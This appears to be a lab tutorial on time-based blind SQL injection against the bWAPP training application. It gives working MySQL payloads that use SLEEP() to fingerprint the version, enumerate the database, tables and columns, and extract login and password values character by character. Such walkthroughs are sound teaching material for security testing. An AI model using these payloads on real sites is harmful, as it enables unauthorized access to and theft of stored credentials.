Time-based techniques are often used to achieve tests when there is no other way to retrieve information from the database server. This kind of attack injects a SQL segment which contains specific DBMS function or heavy query that generates a time delay. Depending on the time it takes to get the server response, it is possible to deduct some information. As you can guess, this type of inference approach is particularly useful for blind and deep blind SQL injection attacks.
Application that has been used here for performing attack is Bwapp vulnerable web application.
How to know when you need to test for Time based Blind SQL Injection?
While performing a Boolean based SQLi, the page doesn’t load properly. It will tell you that a boolean based can be performed there. But what about when page load perfectly? That’s where Time based Blind SQli play the part.
When I put the the single quote(‘) in the search text box, this is what I got:
The page load without any errors, with nothing missing.
Now since there is no way for us to get errors and to know that application is vulnerable, You will make use of database capabilities itself to generate certain errors or notifications for you.
I have tried this query: iron man’ AND SLEEP(10)#
The function sleep() is a Mysql function which is used to make delaying query for number of seconds the user mentions in the function.
How do I know that this application uses MySQL database?
To know which database it uses, I have used queries for Sleep() that different database uses, mainly MySQL, MSSQL and Oracle.
MS SQL uses waitfordelay ‘hh:mm:ss’
MySQL uses SLEEP() in the versions above 5 and BENCHMARK() function for the versions below 5.
ORACLE also uses SLEEP() but it uses it in procedural language.
MySQL can use SLEEP function in inline also. Making it easier for us.
Also you can make use of comment queries here again to see which database is in the backend. To use comments queries see here.
***NOTE: DUAL is a dummy table that exist in every database including MYSQL, MSSQL, ORACLE and POSTGRESQL. It is a table which is accessed by any user and it is a dummy created under sys user. We will be using dual in our query because we don’t have any idea about the names of other tables and we can use only this dummy table.
Working Substring functions which produce same output: mid(),substr(), substring() — they all are used interchangeably below.
Since we know now that the database is MySQL and now you know what the output looks like (output will delay),
let’s start with real deal:
iron man’ AND sleep(10)#
You can also use query blah’ or SLEEP(10)#. This is the very first testing query, if the database is Mysql it will work, but if the Mysql version is below 5 then you will need to go for a BENCHMARK() function which takes two arguments.
- Testing for version:
iron man’ AND IF(substring(VERSION(),1,1) = ‘5’, SLEEP(10), 0)#
iron man’ AND IF(MID(VERSION(),1,1) = ‘5’, SLEEP(10), 0)#
iron man’ AND IF(substr(@@version,1,1)=’5′),SLEEP(10),0)#
All of the above queries will give the same output, MID and SUBSTR and Substring. The output they will produce is same so you can use anyone of the above to test the version. It will take the first character of the query version and checks if it is is 5, if yes then the page will load after 10 seconds. In this case YES.
- Enumerating the Database
If you have a vague idea about what the database could be then the below query would work just fine. It will check if the string you enter for the database exist or not. The LIKE will take wildcard characters and if it finds something similar it will sleep for 5 seconds.
iron man’ AND IF (SELECT sleep(5) from dual where database() LIKE ‘%bwapp%’)=1#If you have no idea and want to go character by character then use this query to enumerate the database:
iron man’ AND (SELECT sleep(5) from dual where substring(database(),1,1)=’b’)=1#
The substring function will take the first character and up till 1 character. you can change that to:
iron man’ AND (SELECT sleep(5) from dual where substring(database(),1,2)=’bw’)=1#
This query will take character by character and if the character exist then it will sleep for 5 seconds, Here it is YES.
The database here is bwapp.
- Once you know the database in use, Go for the tables like users, admin, login etc. These are the table which have passwords for the login in the web application. To check for the existence of tables in database. Here is the query:
iron man’ AND (SELECT sleep(5) from information_schema.tables where table_name LIKE ‘%admin%’)=1 #
iron man’ AND (SELECT sleep(5) from information_schema.tables where table_name LIKE ‘%login%’)=1 #
once done you can check it using:
iron man’ AND (SELECT sleep(5) from information_schema.columns where column_name=’login’ AND table_name=’users’)=1 #
The table name we are looking for here is : users
- Once we get the table name it is time to find out the columns in that table:
iron man’ AND (SELECT sleep(15) from information_schema.columns where column_name LIKE ‘%login%’ AND table_name=’users’)=1 #
The above query will find if the column name like login exist in the users table. If yes it will sleep for 15s. I have used the same query for admin and passwords. And they exist too.
iron man’ AND (SELECT sleep(15) from information_schema.columns where column_name LIKE ‘%admin%’ AND table_name=’users’)=1 #
iron man’ AND (SELECT sleep(15) from information_schema.columns where column_name LIKE ‘%password%’ AND table_name=’users’)=1 #
Now above we have used LIKE clause which will depict that some string like it is there but to make it certain that it is there we will use this:
iron man’ AND (SELECT sleep(15) from information_schema.columns where column_name=’login’ AND table_name=’users’)=1 #
iron man’ AND (SELECT sleep(15) from information_schema.columns where column_name=’admin’ AND table_name=’users’)=1 #
NOW we know the columns in users table as: Login, admin,password.
- The next step is to enumerate the username and password. This is more time consuming than the rest of the above queries.
We can use Ascii() with substring function or just substring function, whichever you like. But with substring function we will not be able to use greater than or less than ascii which will reduce our query search. Let me illustrate here:
iron man’ AND IF( (select MID(login,1,1) from users limit 0,1)=’A’ , SLEEP(10), 0)#
The query above will test if the first data character in the login column has A or not. If YES it will sleep for 10s. This is pretty straight forward. Now to find the next character after A , you will again have to go through the 26 letters if you can find anything. It is tedious to get all that done.
iron man’ AND IF( (select MID(login,1,2) from users limit 0,1)=’Ab’ , SLEEP(10), 0)#
Keep changing the 3rd argument of MID function to get the entire username.***Now lets get on with ascii function with MID():
iron man’ AND IF( (select ascii(MID(login,1,1)) from users limit 0,1)>64 , SLEEP(10), 0)#
The above query will convert the letter which is output of MID(login,1,1) and then check if it is same greater than 64 which is the ascii value. from 65-90 A-Z and 97-122 a-z. The ascii will be faster than substring because that way you can find out the cutoff easily and you then can work only with a limited numbers.
This is it, it’s a lot of guessing work here. You can create your own script to get the result.